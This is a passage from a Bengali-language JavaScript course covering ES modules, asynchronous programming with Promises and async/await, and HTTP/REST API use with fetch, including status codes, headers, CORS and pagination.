Classic script-এ সাধারণভাবে top-level await কাজ করবে না, কিন্তু ES module-এ supported।
এটি asynchronous module loading-এর সাথে related।
| বিষয় | Normal Script | ES Module |
|---|---|---|
import/export | ❌ | ✅ |
| Scope | Global/script scope | Module scope |
| Strict semantics | Not automatically module strict | ✅ |
| Reusable dependency system | Limited | ✅ |
type="module" | ❌ | Browser-এ প্রয়োজন |
Top-level await | ❌ | ✅ |
Dynamic import() | Modern JS-এ available | ✅ |
তুমি যখন React ব্যবহার করবে, প্রায় প্রতিটি file module-এর মতো কাজ করবে।
উদাহরণ:
import React from "react"; import Navbar from "./components/Navbar"; import Login from "./pages/Login"; import api from "./services/api";
React project মূলত modular architecture-এর উপর heavily নির্ভর করে।
CommonJS ES Modules
CommonJS:
const math = require("./math");
Export:
module.exports = { add };
Modern Node.js-এ ES Modules-ও ব্যবহার করা যায়:
import { add } from "./math.js";
এবং:
export { add };
| CommonJS | ES Modules |
|---|---|
require() | import |
module.exports | export |
| Node.js-এর traditional system | JavaScript standard module system |
| Older Node ecosystem-এ খুব common | Modern JS/browser/Node-এ widely used |
Modern full-stack development-এ দুটো system সম্পর্কে জানা useful।
ধরো:
অর্থাৎ:
// A.js import { b } from "./B.js";
আর:
// B.js import { a } from "./A.js";
একে circular dependency বলে।
তাই architecture এমনভাবে design করা ভালো যাতে unnecessary circular dependency না থাকে।
ধরো:
let balance = 1000; export function deposit(amount) { balance += amount; } export function getBalance() { return balance; }
অন্য file:
import { deposit, getBalance } from "./bank.js"; deposit(500); console.log( getBalance() );
1500
অন্য module সরাসরি:
balance = 999999;
করতে পারবে না।
এটাই module-based encapsulation-এর practical ধারণা।
Modules-এর export সাধারণত live binding।
Example:
// counter.js export let count = 0; export function increment() { count++; }
অন্য file:
import { count, increment } from "./counter.js"; console.log(count); increment(); console.log(count);
0 1
Imported binding module-এর current exported value-এর সাথে linked থাকে।
তবে importer সাধারণত imported binding নিজে reassign করতে পারে না।
একই module একাধিক জায়গায় import করলে environment সাধারণত module-টিকে বারবার নতুন করে execute না করে module instance reuse করে।
Example:
দুই জায়গা থেকে config.js import হলেও একই module instance-এর exports share করা হয়।
এই chapter থেকে অবশ্যই জানতে হবে:
export import
export { add };
import { add } from "./math.js";
export default function() {}
import something from "./file.js";
import * as utils from "./utils.js";
import("./module.js");
export * from "./math.js";
<script type="module">
| কাজ | Syntax |
|---|---|
| Named export | export { add } |
| Inline export | export function add(){} |
| Named import | import { add } from "./math.js" |
| Rename import | import { add as sum } ... |
| Default export | export default add |
| Default import | import add from "./math.js" |
| Namespace import | import * as math from "./math.js" |
| Side-effect import | import "./analytics.js" |
| Dynamic import | import("./math.js") |
| Re-export | export * from "./math.js" |
| Browser module | <script type="module"> |
math.js তৈরি করো:
add() subtract() multiply() divide()
সবগুলো export করো।
তারপর app.js থেকে import করো।
user.js:
export const user = { name: "Shariar", role: "Developer" };
app.js থেকে import করে UI-তে name দেখাও।
একটি utils.js বানিয়ে:
capitalize() calculateDiscount() formatPrice()
তৈরি করো এবং অন্য file-এ ব্যবহার করো।
Chapter 18-এর code দিয়ে:
বানাও।
তারপর app.js থেকে ব্যবহার করো।
এই structure বানাও:
Responsibilities:
তুমি Full Stack Developer হিসেবে এই concept-টা ভালোভাবে বুঝবে:
একটি real project:
আর React/Node.js project-এ তুমি যে:
import ... export ...
প্রায় প্রতিদিন দেখবে—তার foundation হলো এই Chapter 20-এর ES Modules।
Chapter 20 complete.
পরবর্তী অধ্যায়ে আমরা জাভাস্ক্রিপ্টের অন্যতম কোর পিলার Asynchronous JavaScript নিয়ে বিস্তারিত শিখব—Event Loop, Call Stack, Callback Hell, Promises (then, catch, finally), Promise Combinators (all, race, allSettled, any), এবং আধুনিক async/await সিনট্যাক্স।
JavaScript হলো একটি Single-Threaded ল্যাঙ্গুয়েজ, অর্থাৎ এটি একসাথে একটিমাত্র কাজ করতে পারে। কিন্তু বাস্তব অ্যাপ্লিকেশনে নেটওয়ার্ক রিকোয়েস্ট, সার্ভার থেকে ডাটা লোড, টাইমার বা ডেটাবেজ এক্সেসের মতো দীর্ঘস্থায়ী কাজের সময় ব্রাউজার যেন জমে (Freeze) না যায়, সেজন্য জাভাস্ক্রিপ্ট Non-blocking Asynchronous মডেল ব্যবহার করে।
React, Next.js, Node.js কিংবা Express-এ API Integration ও Backend Communication-এর মূল চালিকাশক্তিই হলো Asynchronous JavaScript। 🔥
Synchronous মানে:
console.log("Task 1"); console.log("Task 2"); console.log("Task 3");
এখানে JavaScript:
ধরো তুমি restaurant-এ গেলে।
একজন waiter:
এটা inefficient।
এটাই synchronous-এর মতো।
Asynchronous মানে:
console.log("Start"); setTimeout(() => { console.log("Data received"); }, 2000); console.log("End");
Start End Data received
এখানে কী হলো?
setTimeout() নির্দিষ্ট সময় পরে একটি function execute করে।
setTimeout(function, delay);
setTimeout(() => { console.log("Hello"); }, 3000);
৩ সেকেন্ড পরে:
Hello
তুমি বললে:
JavaScript-এর ক্ষেত্রে:
setTimeout(() => { console.log("Reminder!"); }, 5000);
setTimeout() আসলে JavaScript language-এর core feature নয়।
এটি environment থেকে আসে।
Browser-এ:
Node.js-এ Node-এর runtime timer APIs provide করে।
JavaScript-এর মূল execution model হলো single-threaded।
অর্থাৎ সাধারণভাবে একটি JavaScript execution thread এক সময়ে একটি কাজ execute করে।
কিন্তু Browser environment বিভিন্ন কাজ JavaScript-এর বাইরে handle করতে পারে।
যেমন:
Call Stack হলো JavaScript-এর execution-এর জায়গা।
Example:
function one() { console.log("One"); } function two() { one(); console.log("Two"); } two();
Execution:
Call Stack ধারণাগতভাবে:
যে function আগে আসে, তার execution complete হয়ে stack থেকে বের হয়।
এখন আসল magic:
Event Loop check করে:
যদি empty হয় এবং queue-তে pending কাজ থাকে, তাহলে appropriate callback execution-এর জন্য stack-এ পাঠানো হয়।
Conceptually:
Callback হলো:
function greet(name) { console.log("Hello " + name); } function processUser(callback) { callback("Shariar"); } processUser(greet);
Hello Shariar
এখানে:
greet
হলো callback function।
console.log("Start"); setTimeout(() => { console.log("Hello"); }, 2000); console.log("End");
Start End Hello
setTimeout()-এর ভিতরের function হলো asynchronous callback।
একাধিক asynchronous কাজ একটার result-এর উপর আরেকটা নির্ভর করলে code nested হয়ে যেতে পারে।
getUser(function(user) { getPosts(user, function(posts) { getComments(posts, function(comments) { getLikes(comments, function(likes) { console.log(likes); }); }); }); });
এটাকে দেখতে অনেকটা:
এটাকে বলা হয়:
# 🔥 Callback Hell
# ⭐ Promise
Promise হলো:
Real-life example:
তুমি online-এ product order করলে।
Order করার পর:
তুমি জানো result এখনো আসেনি, কিন্তু পরে আসবে।
এটাই Promise-এর ধারণার মতো।
একটি Promise-এর প্রধান ৩টি state:
| State | Meaning |
|---|---|
pending | কাজ চলছে |
fulfilled | কাজ সফল হয়েছে |
rejected | কাজ ব্যর্থ হয়েছে |
Diagram:
const promise = new Promise((resolve, reject) => { });
এখানে:
resolve()
মানে success।
reject()
মানে failure।
const promise = new Promise((resolve, reject) => { let success = true; if (success) { resolve("Operation successful!"); } else { reject("Operation failed!"); } });
Promise এখন:
fulfilled
কারণ:
success = true
const promise = new Promise((resolve, reject) => { resolve("Data loaded!"); }); promise.then((result) => { console.log(result); });
Data loaded!
.then() সাধারণত successful result handle করে।
যদি Promise reject হয়:
const promise = new Promise((resolve, reject) => { reject("Something went wrong!"); }); promise .then((result) => { console.log(result); }) .catch((error) => { console.log(error); });
Something went wrong!
.finally() success বা failure—দুই ক্ষেত্রেই execute হয়।
const promise = new Promise((resolve) => { resolve("Success"); }); promise .then((result) => { console.log(result); }) .catch((error) => { console.log(error); }) .finally(() => { console.log("Finished"); });
Success Finished
function delay(ms) { return new Promise((resolve) => { setTimeout(resolve, ms); }); } delay(2000).then(() => { console.log("2 seconds completed"); });
২ seconds পরে:
2 seconds completed
একটি Promise-এর result দিয়ে পরের কাজ করা যায়।
Promise.resolve(10) .then((number) => { return number * 2; }) .then((number) => { return number + 5; }) .then((result) => { console.log(result); });
25
কারণ:
Real API application:
Promise chaining দিয়ে এগুলো manage করা যায়।
Promise.reject("Server Error") .then((data) => { console.log(data); }) .catch((error) => { console.error("Error:", error); });
Error: Server Error
Already successful Promise তৈরি করতে:
const promise = Promise.resolve("Hello"); promise.then((value) => { console.log(value); });
Hello
const promise = Promise.reject("Failed"); promise.catch((error) => { console.log(error); });
Failed
একসাথে একাধিক Promise চালাতে খুব useful।
ধরো:
User data Product data Order data
তিনটিই দরকার।
const userPromise = Promise.resolve("User"); const productPromise = Promise.resolve("Products"); const orderPromise = Promise.resolve("Orders"); Promise.all([ userPromise, productPromise, orderPromise ]) .then((results) => { console.log(results); });
["User", "Products", "Orders"]
Dashboard load করতে:
GET /user GET /products GET /orders
সবগুলো successful হলে:
Promise.all([ getUser(), getProducts(), getOrders() ])
তারপর dashboard render করা যায়।
যদি একটি Promise reject করে:
Promise.all([ Promise.resolve("A"), Promise.reject("Error"), Promise.resolve("C") ]) .catch((error) => { console.log(error); });
Error
অর্থাৎ Promise.all() সাধারণভাবে সবগুলো সফল না হলে reject করে।
সব Promise-এর final result জানতে চাইলে:
Promise.allSettled([ Promise.resolve("Success"), Promise.reject("Failed") ]) .then((results) => { console.log(results); });
Result conceptually:
[
{
status: "fulfilled",
value: "Success"
},
{
status: "rejected",
reason: "Failed"
}
]
এখানে একটি fail করলেও অন্য result পাওয়া যায়।
যে Promise আগে settle করবে, তার result পাওয়া যাবে।
const first = new Promise((resolve) => { setTimeout(() => resolve("First"), 1000); }); const second = new Promise((resolve) => { setTimeout(() => resolve("Second"), 2000); }); Promise.race([first, second]) .then((result) => { console.log(result); });
First
কারণ first আগে complete করেছে।
যে Promise প্রথম fulfilled হবে তার result দেয়।
Promise.any([ Promise.reject("Failed 1"), Promise.resolve("Success"), Promise.resolve("Success 2") ]) .then((result) => { console.log(result); });
Success
Promise handling আরও সহজ করার জন্য:
# ⭐ async
একটি function-এর সামনে async দিলে function সবসময় Promise return করে।
async function greet() { return "Hello"; }
এটা conceptually:
Promise.resolve("Hello")
এর মতো।
async function getMessage() { return "Hello Shariar"; } getMessage().then((message) => { console.log(message); });
Hello Shariar
await Promise-এর result পাওয়ার জন্য অপেক্ষা করার মতো syntax দেয়।
function getData() { return new Promise((resolve) => { setTimeout(() => { resolve("Data received"); }, 2000); }); } async function showData() { const data = await getData(); console.log(data); } showData();
২ seconds পরে:
Data received
আগে:
getData()
.then((data) => {
return processData(data);
})
.then((result) => {
console.log(result);
});
async/await:
async function run() { const data = await getData(); const result = await processData(data); console.log(result); }
দ্বিতীয়টি অনেকটা synchronous code-এর মতো readable।
❌ না।
async function test() { console.log("A"); await delay(2000); console.log("B"); } test(); console.log("C");
A C B
await asynchronous function-এর ওই অংশের execution pause করে, কিন্তু পুরো JavaScript environment/blocking করে না।
await-এর সাথে সাধারণত:
try/catch
ব্যবহার করা হয়।
function getData() { return Promise.reject("Server Error"); } async function loadData() { try { const data = await getData(); console.log(data); } catch (error) { console.log("Error:", error); } } loadData();
Error: Server Error
async function loadData() { try { const data = await getData(); console.log(data); } catch (error) { console.log("Error:", error); } finally { console.log("Request finished"); } }
ধরো:
একটির result ছাড়া পরেরটি চলবে না।
async function run() { const user = await login(); const profile = await getProfile(user); const orders = await getOrders(profile); console.log(orders); }
এটা sequential।
যদি কাজগুলো একে অপরের উপর depend না করে:
async function loadDashboard() { const [users, products, orders] = await Promise.all([ getUsers(), getProducts(), getOrders() ]); console.log(users); console.log(products); console.log(orders); }
এখানে তিনটি operation parallelভাবে শুরু হয়।
এটা:
const users = await getUsers(); const products = await getProducts(); const orders = await getOrders();
এর চেয়ে independent operations-এর ক্ষেত্রে বেশি efficient হতে পারে।
Example:
async function process() { for (const id of [1, 2, 3]) { const data = await getData(id); console.log(data); } }
এখানে:
Sequential execution।
যদি independent হয়, তাহলে অনেক সময়:
const results = await Promise.all( [1, 2, 3].map(id => getData(id)) );
better approach হতে পারে।
এখন একটু advanced concept।
JavaScript asynchronous execution-এ বিভিন্ন queue থাকে।
Microtask Queue
.then().catch().finally()queueMicrotask()Task/Macrotask Queue
setTimeoutsetIntervalconsole.log("1"); setTimeout(() => { console.log("2"); }, 0); Promise.resolve().then(() => { console.log("3"); }); console.log("4");
1 4 3 2
কেন?
প্রথমে synchronous:
1 4
তারপর microtask:
3
তারপর task:
2
অর্থাৎ conceptually:
❌ না।
setTimeout(() => { console.log("Hello"); }, 0);
এর অর্থ:
এটি synchronous code-এর আগে execute হয় না।
# 🌐 Fetch API
fetch() খুব গুরুত্বপূর্ণ।fetch("https://example.com") .then(response => { console.log(response); });
fetch() একটি Promise return করে।
API থেকে JSON data আনতে:
fetch("https://api.example.com/users") .then(response => response.json()) .then(data => { console.log(data); }) .catch(error => { console.log(error); });
Flow:
এটা আরও readable:
async function getUsers() { try { const response = await fetch( "https://api.example.com/users" ); const data = await response.json(); console.log(data); } catch (error) { console.error(error); } } getUsers();
fetch() সাধারণত HTTP 404 বা 500 পেলেই Promise reject করে না।
তাই:
const response = await fetch(url);
এরপর check করা ভালো:
if (!response.ok) { throw new Error(`HTTP Error: ${response.status}`); }
Complete:
async function getUsers() { try { const response = await fetch( "https://example.com/users" ); if (!response.ok) { throw new Error( `HTTP Error: ${response.status}` ); } const data = await response.json(); console.log(data); } catch (error) { console.error(error); } }
ধরো frontend থেকে login request:
async function login(email, password) { try { const response = await fetch("/api/login", { method: "POST", headers: { "Content-Type": "application/json" }, body: JSON.stringify({ email, password }) }); if (!response.ok) { throw new Error("Login failed"); } const data = await response.json(); console.log("Login successful:", data); } catch (error) { console.error("Login error:", error); } }
এখানে Chapter 19-এর JSON + Chapter 20-এর modules + Chapter 21-এর async concept একসাথে ব্যবহার হচ্ছে।
একটি modern web application-এ:
এটাই frontend development-এর খুব common workflow।
| Feature | Callback | Promise | Async/Await |
|---|---|---|---|
| Readability | কম | ভালো | ⭐ খুব ভালো |
| Nested code | বেশি হতে পারে | কম | কম |
| Error handling | complicated হতে পারে | .catch() | try/catch |
| Chaining | কঠিন | .then() | সহজ |
| Modern JS | পুরোনো/common | Standard | ⭐ খুব common |
function getUser() { return new Promise((resolve) => { setTimeout(() => { resolve({ id: 1, name: "Shariar", role: "Full Stack Developer" }); }, 2000); }); } async function showUser() { console.log("Loading..."); try { const user = await getUser(); console.log("User:", user); } catch (error) { console.error(error); } } showUser();
প্রথমে:
Loading...
২ seconds পরে:
User: {
id: 1,
name: "Shariar",
role: "Full Stack Developer"
}
Real website-এ:
async function loadProducts() { const loading = document.querySelector("#loading"); try { loading.textContent = "Loading..."; const response = await fetch("/api/products"); if (!response.ok) { throw new Error("Failed to load products"); } const products = await response.json(); console.log(products); } catch (error) { console.error(error); } finally { loading.textContent = ""; } }
এখানে:
const result = getData(); console.log(result);
যদি getData() Promise return করে:
Promise { <pending> }
পেতে পারো।
const result = await getData();
অথবা:
getData().then(result => { console.log(result); });
সাধারণভাবে await ব্যবহার করা যায়:
async function-এর ভিতরেasync function test() { const data = await getData(); }
এছাড়া modern JavaScript modules-এ top-level await-ও ব্যবহার করা যায়।
যেমন module:
const data = await getData(); console.log(data);
return new Promise((resolve, reject) => { fetch(url) .then(response => resolve(response)) .catch(error => reject(error)); });
অনেক ক্ষেত্রে এটি দরকার হয় না।
সরাসরি:
return fetch(url);
ব্যবহার করা যায়।
তারপর:
async function load() { try { const data = await getData(); } catch (error) { console.log(error); } }
মানে:
Chapter 21 থেকে অবশ্যই জানতে হবে:
setTimeout()pendingfulfilledrejectedresolve()reject().then().catch().finally()Promise.resolve() Promise.reject() Promise.all() Promise.allSettled() Promise.race() Promise.any()
asyncawaittry/catchPromise.all()// Callback setTimeout(() => { console.log("Hello"); }, 1000);
// Promise const p = new Promise((resolve, reject) => { resolve("Success"); });
// then p.then(data => { console.log(data); });
// catch p.catch(error => { console.log(error); });
// async async function test() { }
// await const data = await getData();
// Promise.all const results = await Promise.all([ getUsers(), getProducts() ]);
// Fetch const response = await fetch(url);
// JSON const data = await response.json();
// Error if (!response.ok) { throw new Error("Request failed"); }
একটি function বানাও যেটি 3 seconds পরে:
Hello JavaScript
print করবে।
একটি Promise তৈরি করো:
Success
return করবে।
তারপর .then() দিয়ে output দেখাও।
একটি Promise তৈরি করো যেটা reject করবে:
Network Error
তারপর .catch() দিয়ে error দেখাও।
async/await দিয়ে একটি fake API function তৈরি করো যেটি 2 seconds পরে:
{
name: "Shariar",
age: 24
}
return করবে।
এই code-এর output predict করো:
console.log("A"); setTimeout(() => { console.log("B"); }, 0); Promise.resolve().then(() => { console.log("C"); }); console.log("D");
Answer:
A D C B
আর modern web development-এ তোমার সবচেয়ে বেশি ব্যবহার হবে:
async function getData() { try { const response = await fetch(url); if (!response.ok) { throw new Error("Request failed"); } const data = await response.json(); return data; } catch (error) { console.error(error); } }
এই pattern তুমি React + Node.js + Express + REST API + Full Stack Development-এ বারবার দেখতে পাবে।
পরবর্তী অধ্যায়ে আমরা শিখব HTTP Protocols, REST APIs, Request Headers, Status Codes (200, 201, 400, 401, 404, 500) এবং ব্রাউজারের আধুনিক fetch() API দিয়ে ফুল-স্ট্যাক নেটওয়ার্ক ইন্টারঅ্যাকশন ও এরর হ্যান্ডলিং কৌশল।
Chapter 21-এ আমরা Asynchronous JavaScript ও Promise শিখেছি। একজন Full Stack ইঞ্জিনিয়ার হিসেবে ক্লায়েন্ট ব্রাউজার কীভাবে সার্ভারের সাথে যোগাযোগ করে, ডাটা আনা-নেওয়া করে এবং ব্যাকএন্ড ডাটাবেজে প্রভাব ফেলে—সেটি গভীরভাবে জানা অপরিহার্য।
React, Next.js, Node.js বা Express—যেকোনো ওয়েব প্ল্যাটফর্মে ফুল-স্ট্যাক ডেভলপমেন্টের মূল মেরুদণ্ড হলো এই নেটওয়ার্কিং জ্ঞান। 🔥
API = Application Programming Interface
সহজভাবে:
ধরো তুমি restaurant-এ গেলে।
এখানে Waiter = API
তুমি সরাসরি kitchen-এ গিয়ে order দিচ্ছ না।
একইভাবে:
Backend-এর database-এ frontend সরাসরি access না করে API-এর মাধ্যমে request করে।
ধরো একটি e-commerce website:
Frontend:
Backend:
HTTP = HyperText Transfer Protocol
এটি web-এর communication protocol।
Browser এবং server HTTP-এর মাধ্যমে communicate করতে পারে।
সাধারণত:
যে system request receive করে এবং response দেয়।
যেমন:
একটি request-এ সাধারণত থাকে:
Example:
GET /api/products
Server সাধারণত দেয়:
Example:
HTTP/1.1 200 OK Content-Type: application/json
Body:
[ { "id": 1, "name": "Laptop", "price": 70000 } ]
| Method | কাজ |
|---|---|
| GET | Data নেওয়া |
| POST | নতুন Data তৈরি করা |
| PUT | সম্পূর্ণ resource update করা |
| PATCH | Resource-এর নির্দিষ্ট অংশ update করা |
| DELETE | Data delete করা |
| HEAD | Header information নেওয়া |
| OPTIONS | Server কী methods/options support করে তা জানা |
Frontend development-এ সবচেয়ে বেশি:
GET POST PUT PATCH DELETE
GET ব্যবহার করা হয় data নেওয়ার জন্য।
Example:
GET /api/products
JavaScript:
const response = await fetch("/api/products"); const products = await response.json(); console.log(products);
POST সাধারণত নতুন resource তৈরি করতে ব্যবহার করা হয়।
Example:
POST /api/products
Data:
{ "name": "Laptop", "price": 70000 }
JavaScript:
const response = await fetch("/api/products", { method: "POST", headers: { "Content-Type": "application/json" }, body: JSON.stringify({ name: "Laptop", price: 70000 }) }); const data = await response.json(); console.log(data);
PUT সাধারণত একটি resource-এর সম্পূর্ণ representation replace/update করতে ব্যবহার করা হয়।
await fetch("/api/products/1", { method: "PUT", headers: { "Content-Type": "application/json" }, body: JSON.stringify({ name: "Gaming Laptop", price: 90000 }) });
PATCH সাধারণত resource-এর নির্দিষ্ট অংশ update করতে ব্যবহার করা হয়।
ধরো শুধু price পরিবর্তন করবে:
await fetch("/api/products/1", { method: "PATCH", headers: { "Content-Type": "application/json" }, body: JSON.stringify({ price: 85000 }) });
Data delete করতে:
await fetch("/api/products/1", { method: "DELETE" });
# CRUD
| Letter | Meaning | HTTP |
|---|---|---|
| C | Create | POST |
| R | Read | GET |
| U | Update | PUT/PATCH |
| D | Delete | DELETE |
Real-life product system:
REST = Representational State Transfer
REST হলো web API design করার একটি architectural style।
REST API সাধারণত resource-oriented হয়।
Example:
/api/users /api/products /api/orders /api/students
/getUsers /createProduct /deleteProduct /updateProduct
GET /users POST /users GET /users/10 PATCH /users/10 DELETE /users/10
Method বলে দেয় কী action হবে।
ধরো Student API:
GET /api/students GET /api/students/101 POST /api/students PATCH /api/students/101 DELETE /api/students/101
এখানে:
/students
হলো resource।
URL:
Uniform Resource Locator
Example:
https://example.com/api/products/10
এখানে:
https://
→ Protocol
example.com
→ Domain
/api/products/10
→ Path
ধরো products search করতে চাই:
/api/products?search=laptop
এখানে:
search=laptop
হলো query parameter।
আরেকটি:
/api/products?page=2&limit=10
এখানে:
page=2 limit=10
const params = new URLSearchParams({ search: "laptop", page: 2, limit: 10 }); const url = `/api/products?${params}`; console.log(url);
/api/products?search=laptop&page=2&limit=10
এটি query parameter তৈরি/পরিচালনা করতে সাহায্য করে।
const params = new URLSearchParams(); params.set("search", "phone"); params.set("page", "1"); console.log(params.toString());
search=phone&page=1
/api/products/10
এখানে:
10
নির্দিষ্ট product identify করছে।
/api/products?category=phone
এখানে:
category=phone
filter/search-এর মতো optional information।
/products/10
↑
নির্দিষ্ট ID
/products?category=phone
↑
filter/query
100 Continue
200 OK 201 Created 202 Accepted 204 No Content
301 Moved Permanently 302 Found 304 Not Modified
400 Bad Request 401 Unauthorized 403 Forbidden 404 Not Found 409 Conflict 422 Unprocessable Content 429 Too Many Requests
500 Internal Server Error 502 Bad Gateway 503 Service Unavailable 504 Gateway Timeout
| Code | Meaning |
|---|---|
| 200 | Request successful |
| 201 | Resource created |
| 204 | Success, no response body |
| 400 | Bad request |
| 401 | Authentication required/failed |
| 403 | Access forbidden |
| 404 | Resource not found |
| 409 | Conflict |
| 422 | Validation/unprocessable content |
| 429 | Too many requests |
| 500 | Server error |
| 503 | Service unavailable |
Fetch-এর response object-এ:
response.ok
থাকে।
সাধারণভাবে 200–299 status হলে এটি true।
Example:
const response = await fetch("/api/users"); console.log(response.ok);
const response = await fetch("/api/users"); console.log(response.status);
Possible output:
200
async function getUsers() { try { const response = await fetch("/api/users"); if (!response.ok) { throw new Error( `HTTP Error: ${response.status}` ); } const users = await response.json(); console.log(users); } catch (error) { console.error("Request failed:", error); } }
এটি একটি খুব useful pattern।
Response-এর headers দেখতে:
const response = await fetch("/api/users"); console.log(response.headers);
নির্দিষ্ট header:
console.log( response.headers.get("Content-Type") );
Server-কে information পাঠাতে headers ব্যবহার করা হয়।
fetch("/api/users", { headers: { "Content-Type": "application/json" } });
Authentication-এর ক্ষেত্রে অনেক API-তে:
fetch("/api/profile", { headers: { "Authorization": "Bearer YOUR_TOKEN" } });
ব্যবহার করা হয়।
এখানে:
Authorization
হলো header।
হলো header value।
POST request:
const user = { name: "Shariar", email: "shariar@example.com" }; const response = await fetch("/api/users", { method: "POST", headers: { "Content-Type": "application/json" }, body: JSON.stringify(user) });
এখানে:
JSON.stringify(user)
object-কে JSON string-এ convert করছে।
JSON.stringify()?JavaScript object:
{
name: "Shariar",
age: 24
}
JSON:
{ "name": "Shariar", "age": 24 }
HTTP request body-তে JSON পাঠাতে সাধারণত:
JSON.stringify()
ব্যবহার করা হয়।
const response = await fetch("/api/users"); const data = await response.json();
response.json() একটি Promise return করে।
তাই:
await response.json()
ব্যবহার করা হয়।
Fetch করলে আমরা একটি Response object পাই।
const response = await fetch(url);
response.ok response.status response.statusText response.headers response.url response.json() response.text() response.blob() response.arrayBuffer() response.formData()
যদি server plain text দেয়:
const response = await fetch("/message"); const text = await response.text(); console.log(text);
JSON response:
const data = await response.json();
সবচেয়ে common।
Image/file-এর মতো binary data handle করতে blob() ব্যবহার করা যায়।
const response = await fetch("/image.jpg"); const blob = await response.blob(); console.log(blob);
কখনো request cancel করতে হয়।
যেমন:
তখন:
const controller = new AbortController(); fetch("/api/data", { signal: controller.signal });
Cancel:
controller.abort();
const controller = new AbortController(); async function loadData() { try { const response = await fetch("/api/data", { signal: controller.signal }); const data = await response.json(); console.log(data); } catch (error) { console.log(error.name); } } loadData(); // Later controller.abort();
Abort হলে সাধারণত error-এর name:
AbortError
হতে পারে।
Fetch-এর জন্য নিজে timeout implement করা যায় AbortController দিয়ে।
async function fetchWithTimeout(url, ms) { const controller = new AbortController(); const timer = setTimeout(() => { controller.abort(); }, ms); try { const response = await fetch(url, { signal: controller.signal }); return response; } finally { clearTimeout(timer); } }
ব্যবহার:
try { const response = await fetchWithTimeout( "/api/data", 5000 ); console.log(await response.json()); } catch (error) { console.log("Request failed or timed out"); }
ধরো:
Frontend:
http://localhost:3000
Backend:
http://localhost:5000
দুইটি different origin।
Browser security-এর কারণে server-কে cross-origin request allow করতে হতে পারে।
Origin-এর তিনটি প্রধান অংশ:
scheme + host + port
Example:
https://example.com:443
http://example.com https://example.com
কারণ scheme আলাদা।
https://example.com https://api.example.com
কারণ host আলাদা।
https://example.com:443 https://example.com:8080
কারণ port আলাদা।
Frontend:
fetch("http://localhost:5000/api/users");
এটা সাধারণত frontend JavaScript-এর syntax error নয়।
কিছু cross-origin request-এর আগে browser:
OPTIONS
request পাঠাতে পারে।
এটাকে বলা হয়:
# Preflight Request
এটি server-কে জিজ্ঞেস করে:
Server response-এ এমন header থাকতে পারে:
Access-Control-Allow-Origin: https://example.com
এটি নির্দিষ্ট origin allow করতে পারে।
আরও headers:
Access-Control-Allow-Methods Access-Control-Allow-Headers Access-Control-Allow-Credentials
ধরো:
Frontend:
const response = await fetch( "http://localhost:5000/api/products" ); const products = await response.json(); console.log(products);
ধরো API থেকে:
[ { "id": 1, "name": "Laptop", "price": 70000 }, { "id": 2, "name": "Phone", "price": 30000 } ]
JavaScript:
async function loadProducts() { const response = await fetch("/api/products"); const products = await response.json(); const list = document.querySelector("#productList"); products.forEach(product => { const li = document.createElement("li"); li.textContent = `${product.name} - ৳${product.price}`; list.appendChild(li); }); } loadProducts();
HTML:
<ul id="productList"></ul>
Loading Success Error
Example:
async function loadProducts() { const status = document.querySelector("#status"); try { status.textContent = "Loading..."; const response = await fetch("/api/products"); if (!response.ok) { throw new Error("Failed to load"); } const products = await response.json(); status.textContent = `${products.length} products loaded`; } catch (error) { status.textContent = "Could not load products."; } }
ধরো user search box-এ লিখল:
laptop
Frontend:
async function searchProducts(query) { const params = new URLSearchParams({ search: query }); const response = await fetch( `/api/products?${params}` ); if (!response.ok) { throw new Error("Search failed"); } return response.json(); }
Call:
const products = await searchProducts("laptop"); console.log(products);
ধরো signup form:
const form = document.querySelector("#signupForm"); form.addEventListener("submit", async (event) => { event.preventDefault(); const formData = new FormData(form); const user = Object.fromEntries(formData); const response = await fetch("/api/register", { method: "POST", headers: { "Content-Type": "application/json" }, body: JSON.stringify(user) }); const result = await response.json(); console.log(result); });
এখানে Chapter 17-এর FormData + Chapter 19-এর JSON + Chapter 21-এর async/await + Chapter 22-এর HTTP/API একসাথে ব্যবহার হয়েছে।
একটি private API:
GET /api/profile
request-এর সাথে authentication information লাগতে পারে।
Example:
const response = await fetch("/api/profile", { headers: { Authorization: `Bearer ${token}` } });
Flow:
Authentication এবং authorization এক জিনিস নয়।
401 Unauthorizedসাধারণত authentication প্রয়োজন বা credentials invalid/missing।
"তুমি কে?"
403 ForbiddenServer request বুঝেছে, কিন্তু access অনুমোদিত নয়।
"তুমি কে জানি, কিন্তু এই কাজের permission নেই।"
ধরো database-এ:
100,000 products
একবারে সব পাঠানো inefficient।
তাই pagination:
/api/products?page=1&limit=20
Page 1:
Products 1–20
Page 2:
Products 21–40
async function getProducts(page = 1) { const params = new URLSearchParams({ page, limit: 20 }); const response = await fetch( `/api/products?${params}` ); return response.json(); }
/api/products?category=laptop
JavaScript:
const params = new URLSearchParams({ category: "laptop" }); const response = await fetch( `/api/products?${params}` );
/api/products?sort=price&order=asc
অথবা:
/api/products?sort=createdAt&order=desc
Backend এই parameters অনুযায়ী data sort করতে পারে।
একটি request:
Response:
| বিষয় | GET | POST |
|---|---|---|
| Purpose | Data নেওয়া | Data তৈরি/submit |
| Body | সাধারণত ব্যবহার করা হয় না | সাধারণত থাকে |
| Query params | Common | Common |
| Data modification | সাধারণত নয় | হতে পারে |
| Idempotent | সাধারণত হ্যাঁ | সাধারণত নয় |
| Cache | Cacheable হতে পারে | সাধারণত defaultভাবে নয় |
| PUT | PATCH |
|---|---|
| সম্পূর্ণ resource replace/update-এর জন্য | আংশিক update-এর জন্য |
| পুরো representation পাঠানোর pattern common | শুধু পরিবর্তিত field পাঠানো common |
Example:
PUT:
{ "name": "Shariar", "email": "new@example.com", "age": 24 }
PATCH:
{ "email": "new@example.com" }
কোনো operation একইভাবে বারবার করলে final state একই থাকে কি না—এটি idempotency-এর ধারণার সাথে সম্পর্কিত।
উদাহরণ:
PUT /users/1
একই update বারবার পাঠালে সাধারণত একই final state পাওয়া যায়।
অন্যদিকে:
POST /orders
একই request বারবার পাঠালে multiple order তৈরি হতে পারে, যদি server-side ব্যবস্থা না থাকে।
তুমি e-commerce website-এ:
GET /api/products/10
POST /api/cart
PATCH /api/cart/10
DELETE /api/cart/10
POST /api/orders
async function apiRequest(url, options = {}) { try { const response = await fetch(url, options); if (!response.ok) { throw new Error( `Request failed: ${response.status}` ); } const contentType = response.headers.get("content-type"); if (contentType?.includes("application/json")) { return await response.json(); } return await response.text(); } catch (error) { console.error("API Error:", error); throw error; } }
ব্যবহার:
const users = await apiRequest("/api/users"); console.log(users);
এভাবে একটি reusable API utility তৈরি করা যায়।
❌ না।
এই:
const response = await fetch(url);
শুধু response দেয়।
JSON পেতে:
const data = await response.json();
করতে হবে।
